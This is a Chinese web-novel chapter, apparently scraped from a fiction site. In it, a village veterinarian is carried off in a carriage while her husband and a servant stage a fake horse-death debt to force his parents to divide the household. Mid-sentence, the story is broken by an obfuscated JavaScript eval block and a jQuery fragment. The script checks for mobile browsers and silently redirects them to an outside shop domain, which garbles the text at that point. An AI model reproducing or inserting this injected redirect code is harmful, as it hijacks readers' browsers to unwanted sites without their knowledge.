文趣网 > 都市小说 > 我在古代当兽医 > 27. 分家(三)
    膝盖撞到木板上,发出闷响,传来剧烈的疼痛,宁馨趴跪在木板上倒吸一口凉气,她费力地挪了挪,让自己的膝盖舒服点。脑海里搜寻着这两张脸,想破脑袋也没想明白,自己何时惹上这权贵了?

    马车颠簸起来,她回头看了一眼车帘,风吹起帘子,外面的场景一闪又一闪,这速度跳下去不死也得脱层皮!

    妇人坐在垫子上,居高临下看着她,“宁姑娘,我们只是想请你去看看。”

    宁馨回过头,对上妇人视线,扯了扯嘴角,“这是请人的态度么?”

    妇人面无表情,扇着蒲扇,“你放心,事成之后必有重谢。”

    宁馨瞪着她,“那不成呢?”

    妇人摇着蒲扇的手顿了顿,睥睨着她。

    宁馨心里咯噔一下。

    妇人又摇起蒲扇,轻笑道,“宁兽医,你这手艺我可是听说了,怎的,对自己没信心?”

    宁馨心脏突突直跳,只能硬着头皮开口了,“这不是信不信心的事儿,我又不是神医,你先说说是何症状?”

    那妇人收了笑,看了眼窗外,“到了你就知道了。”

    *

    梁二赶到院门口,张家派来的人马也紧随其后。

    院外看戏的人一下子七嘴八舌围上来。

    “梁二,刚刚你媳妇和你娘吵架,还打起来了。”

    “宁兽医被人带走了!”

    “梁二,你怎么才回来,人都被带走了好一会儿了!”

    “宁兽医怎么回事啊?你可知道?”

    ……

    梁二搜寻着宁馨的身影,院里没有,他快步冲进屋内,屋内也没有!只有梁父一人!

    宁馨真的被人带走了?!

    父子俩眼神交汇,梁二招呼都不同他打,上去就抓住梁父的手臂,大力摇晃着,“谁干的?!是你们把人弄走了吗?”

    梁父一脸惊慌失措,张大嘴巴,“逆子,你自己媳妇管不好,我怎么知道?”

    梁母赶紧进屋拉住梁二的手,劝道,“你快松开,怕不是她自己得罪了人,再说我和你爹,哪有那么大的本事能弄马车!”

    梁二盯着梁母眼睛,瞧着不像是说谎的样子,他泄了力,转身出了门,朝院外人问道,“各位乡亲,有人知道么?这究竟怎么回事?宁馨是被谁带走的?”

    梁父梁母也跟了出来,站在院里观望着后到的那批人马。

    人们都一脸疑惑看着梁二,“我们也不知道啊,还想问你呢。”

    “是啊,我们看着她被绑上马车的,一辆马车要好多钱噢。”

    “况且那妇人穿的确实华丽,宁兽医是不是真的得罪了人?你晓得不?”

    ……

    无数的声音涌入耳朵,梁二垂下手,视线来回扫,目光锁定那队人马。

    他快步走向马车。

    一位中年车夫,和一位老妇人站在原地。

    老妇人仪态自然,穿的不算多华丽,却也是上好的布料。待他走进些,率先一步开口,“我是张家派来的。你不必怀疑我,若是我们要带人走,又何必留在这里等你发难?”

    自打她下了马车起,便眼观六路,耳听八方。大致情况已摸清,看着焦灼地满头大汗的梁二,她泰然自若,“人已走远,且不知道是哪家的,现在去追也是徒劳,倒不如想想此刻该怎么办?”

    梁二握紧拳头,转头看了看里正,里正耸肩摊手,表示这确实帮不了。

    老妇人走进了一步,在他耳旁压低声音道,“现在可以确认的是,宁兽医不是被山匪绑走的,说明她还有用,暂时没有危险。别忘了我今日来的目的,你只需告诉我,这戏还演不演?”

    梁二感受到外面乌泱泱一群人视线都往他这边聚。

    梁父梁母也紧盯着这边。

    他余光看着不怀好意的梁父梁母,抬眼看向妇人,眼神示意她。

    老妇人会了意,迈沉稳的步子,径直走到梁父梁母面前,“你们是宁兽医的公婆吧?既然宁兽医不在,那就你们来替她还债吧。”

    梁母吓得身子一抖,“什么债?”

    “宁兽医说能治好我家的马,结果把我家马治死了,那可是汗血宝马,价值八百两黄金,赔钱吧,若是想赖账就跟我去见官!”妇人眼疾手快,一把抓住梁母的袖子。

    梁母扯着袖子同她拉扯,“凭什么!你说是就是啊,宁馨不在你当然想说什么就是什么?”

    老妇人抬起另一只手指向梁二,“不信的话,你可以问他,当初治病的时候,他可是在场的。”

    梁二点了点头。

    众人惊呼。

    “天呐!”

    “真的被宁兽医治死了!”

    “可是治病本来就是不能保证嘛,这赔的是不是也太多了,怕是几辈子都还不上噢!”

    “那也是她自己接了啊,既然接了就要担责啊!”

    “什么马?汗血宝马?”

    “多少两,八百两,黄金!”

    ……

    梁母听着这些声音,心里直骂宁馨,想挣脱那妇人,却挣脱不开,只好道,“我,我没钱,你找他去,他们收了你的钱,不关我的事。”说着手指向梁二。

    梁父则冷眼看着,一言不发。

    妇人眼神冰冷,死死盯着梁母,“且不说他一个瘸子,哪来的钱?你们作为他的父母,也当管。”她看着这两人穿的人模狗样的,梁二却穿着缝满补丁的粗抹布衣裳,刚刚梁母还把他推出来,她心里直骂这俩畜牲,虎毒还不食子呢,这梁二是他们亲生的么?

    梁二仰着头,望着天,长叹一声,“娘,我身上真的没有钱,你知道的。况且,我们还没有分家,你不能不管我们。”

    天上那圈白光刺着他眼睛,他猛地闭上了眼,一阵眩晕袭来,宁馨究竟被谁带走了?

    妇人视线在梁父梁母之间来回穿梭,“俗话说子债父尝,况且你们还是一家人,哪有不管的道理?”

    梁父手掐着烟杆,“收了的诊金我们可以赔你,但多的一分没有,大不了你就去报官,把我们都抓起来!”

    张婶子一来便看到一群人围在院外,梁父梁母也在?还有生面孔,她左瞧右瞧,也没瞧见宁馨的身影。她捏着衣角,思索着自己是不是来的不是时候。

    旁人问道,“哟,张婶,你

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17779982|208930||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    怎么来了?”

    张婶望着鞋尖,想着宁馨嘱托自己的话,又怪起那两崽子贪嘴来。

    她在心里直叹气,告诉自己说句话就走,她低着头,走进院里,支支吾吾冲道,“那个,我家的鸡也死了一只。”

    妇人松开了梁母,大步上前,“是不是也在宁兽医治疗之后?”

    张婶红着脸点了点头,双手捏着衣角,死死咬住下唇。

    梁二晓得,张婶不是多管闲事的人,这是宁馨的手笔。

    妇人看了眼梁二,对视之后,她站直身子,面向梁父梁母,指着张婶,“你们看,这不是个例,连你们村子里的人都说了,这总不能是假话吧?你们刚刚说的只付诊金我不接受。”

    “第一,有前车之鉴,说明宁兽医不是第一次这样了。”

    “第二,她哄骗我家主子,说是能治好,我家主人才放手让她治的。”

    “第三,这马从西域来的,有市无价,八百两算便宜你们了。”

    妇人掰着手指头数着,义正言辞,“所以,你们必须照价赔偿。”

    妇人扫视一圈,指着里正道,“这里你看起来最有威信,要不你来评评理?”

    里正同梁二对视一眼,摸了摸胡子,“这位妇人所说在理,梁家的,梁二已经承认确有其事。这事若是闹到官府,把全家都关起来也抵不了事,还是要照价赔偿。”

    梁母撒起泼来,上前捶打着梁二,“快说你刚刚被吓着乱说的,你根本不知情!”看样子宁馨指不定得罪了什么人,一时半会是回不来了,只要他不承认他们就拿他没办法!

    妇人冷笑起来,“呵,梁二又不是傻子,他自己都承认了。况且大家伙刚刚都看到了,你还想反悔不成?”说着大手一挥向众人。

    她继续添油加醋,“就算他此刻嘴上反悔也不成,我家主子,还有下人,全府上下,包括街坊四邻,都看到他们进了府上,治了马的。”

    妇人抱起双手,“你们若是想赖账,那便报官吧!”

    看她那底气十足样儿,所有人都被唬住了!

    最要紧的是,这事竟被梁二亲口承认了,难有回旋的余地。

    梁母双手锤下来,滑坐在地上,泪哗啦哗啦流,“完了,全完了...”

    梁父将烟杆握地死死的,涨红了脸,伸长脖子怒吼道,“我们已经分家了!半月前我就说好了要分家的,只是一直没空,他家的事跟我们一点关系也没有!”

    不对,里正怎么来了?梁父反应过来有些不对劲,分家必须要有里正,这里正到的也太巧了!他警惕地看向四周。

    梁二拿出事先备好的地契,“我原想着,今天趁你们都在,把地契改了。”

    妇人忙拍手叫好,“哟,巧了!正好把名儿换了!”

    梁母蹭的一下起来,吼丧似的叫起来,“那可是我们的地契啊!”说着就要去抢梁二手里的地契。

    里正看不下去了,梁家父母也太过了。他解释道,“当初梁老头走的时候,我可在场,说好了这房子地契留给梁二,你们如今还想打地契的主意?”

    梁二将地契举的高高的,不让梁母够着。